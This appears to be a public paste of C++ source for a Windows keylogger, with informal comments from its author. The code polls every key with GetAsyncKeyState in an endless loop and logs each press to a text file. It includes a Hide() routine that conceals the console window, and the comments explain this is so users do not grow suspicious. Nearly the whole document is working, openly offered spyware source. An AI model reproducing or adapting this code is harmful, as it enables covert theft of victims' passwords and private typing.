· 6 years ago · Apr 26, 2020, 02:30 PM
1//SCAPE https : // rosettacode . org / wiki / Special_characters
2//SHORTCUT TO COMMENT UNCOMMENT CTRL+^
3//SWITCH does not evaluate all sentences so it is faster than If statement
4//
5
6//This-is-a-free-software
7//Works for windows, so credit for windows?
8//Uses C/C++ so credit Dennis Ritchie and Bjarne Stroustrup for this awesome lenguage
9//Do you recognize this style of coding? Nice, if you can support him, buy the book of Norman,Alan T. I did it.
10//I added time code from my old keylogger in Rohitab C (CitrusI).
11
12#include<iostream> //standar io c++
13#include<windows.h> //use window api
14#include<winuser.h> //use window user
15#include<fstream> //work with io files
16#include <time.h> //work with time
17
18using namespace std;
19
20//-----Declare-function-headers----------//
21
22void Log();
23void Hide();
24
25//-----structure-for-GetDatetime()------//
26
27typedef struct
28{
29 int day;
30 int month;
31 int year;
32 int hour;
33 int minute;
34 int second;
35}
36t_date;
37
38//-------Not-in-use-experimental-------//
39
40byte keys[256];
41char SpecialKeys[32];
42
43//------Main-Program-------------------//
44
45int main() //doesnt receive or retrieve any value make it more faster
46{
47 //Hide(); ---------Dont hide now or you could need to kill process damaging your pc little by little.
48
49 //---You could ask why dont you log here instead of call a function?
50 //---Answer: In the future you could need log or hide other things and that could make some collisions.
51 Log();
52
53 return 0; //I dont remember if this is necesary, i dont care , just the standar for every window.
54}
55
56void Log()
57{
58 char k; //--------------------------->Iterator
59 ofstream in; //--------------------------->File
60 in.open("Record.txt",ios::out); //------Doesnt-exists?-create-one,otherwise,open
61 time_t tiempo; //------------>Intance a new structure for time type
62 time(&tiempo); //------------>Add reference
63 struct tm* tm = localtime(&tiempo); //--------->getDateTime() by reference
64 t_date f; //------------>Create Destination Structure for time and pass every value to each attribute:
65 f.day = tm->tm_mday;
66 f.month = tm->tm_mon + 1;
67 f.year = tm->tm_year + 1900;
68 f.hour = tm->tm_hour;
69 f.minute = tm->tm_min;
70 f.second = tm->tm_sec;
71
72 ofstream write("Record.txt",ios::app); //Write date on the file at first creation
73 write<<"Date: "<<f.day<<"/"<<f.month<<"/"<<f.year<<" Hour: "<<f.hour<<":"<<f.minute<<":"<<f.second<<"\n";
74 write.close(); //-------->you need to close or it will not log the keys
75 for(;;) //while true, always run, hmm actually, this is more fast that while(1)? didnt test that.
76 {
77 //for(k=8;k<122;k++)
78 for(k=8;k<122;k++) //-------I found this really fast instead of use 0 to 255 of Ascii table
79 {
80 if(GetAsyncKeyState(k) == -32767) //---> If key statate is pressed or 0x8001
81 {
82 ofstream write("Record.txt",ios::app); //open to write
83
84 if((k>64)&&(k<91)&&!(GetAsyncKeyState(0x10))) //IS USING SHIFT?
85 {
86 k+=32;
87 write<<k;
88 write.close();
89 break;
90 }else if((k>64)&&(k<91)) //No?
91 {
92 write<<k;
93 write.close();
94 break;
95 }
96
97 //hmmmmm... randomly i dont know why C/C++ gets buggy whit this kind of things, jut in case:
98 fflush(stdin);
99
100 //here lets switch on some VirtualKeys, Why spanish? is my native lenguage but you will understand.
101 switch(k)
102 {
103 case 8:write<<"[BACKSPACE]";break;
104 case 9:write<<"[TAB]";break;
105 case 13:write<<"[ENTER]\r\n";break;
106 case 39:write<<"[DERECHA]";break;
107 case 46:write<<"[SUPR]";break;
108 case 45:write<<"[INSERT]";break;
109 case 33:write<<"[PG UP]";break;
110 case 34:write<<"[PG DN]";break;
111 case 36:write<<"[HOME]";break;
112 case 35:write<<"[END]";break;
113 case 38:write<<"[ARRIBA]";break;
114 case 44:write<<"[IMPRPANT]";break;
115 case 40:write<<"[ABAJO]";break;
116 case 37:write<<"[IZQUIERDA]";break;
117 defaul:break;
118 }
119 }
120 }
121 }
122}
123 //At this part i couldn make this work:
124 //I was trying to print special chars £¤X¦Æ@ , etc
125 //C++ works for write<<char(key); but it doesnt regonized here i dont know why.
126
127 //GetKeyboardState(keys);
128 //*SpecialKeys = 0;
129 //if(ToAscii(k, MapVirtualKey(k, 0), keys, (LPWORD)SpecialKeys, 0) == 1)
130 //write<<char(k);
131 //else
132 /*if(GetKeyNameText((MapVirtualKey(k, 0) << 16), SpecialKeys, 32) > 0)
133 write<<"["<<SpecialKeys<<"]"; */
134
135//I tested like 3 other options to hide the window, this works but i know there is a better way to do.
136//This problem is basic, we are creating a program window and then we are calling a function to hide it.
137//So we could need to manipulate the window, not the function.
138//And of course becouse if you are smart you will see at the start that fast black windows opening and closing.
139//and when you are informatic you will know that something "Not Good" is happening and you will get paranoic.
140
141void Hide()
142{
143 HWND stealth;
144 AllocConsole();
145 stealth=FindWindowA("ConsoleWindowClass",NULL);
146 ShowWindow(stealth,0);
147}